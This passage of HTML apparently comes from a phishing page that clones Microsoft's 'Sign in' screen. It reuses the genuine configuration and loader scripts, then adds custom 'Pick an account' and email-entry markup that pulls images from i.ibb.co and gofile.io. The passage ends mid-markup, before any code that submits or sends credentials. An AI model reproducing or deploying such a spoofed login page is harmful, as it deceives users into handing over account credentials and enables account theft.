_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
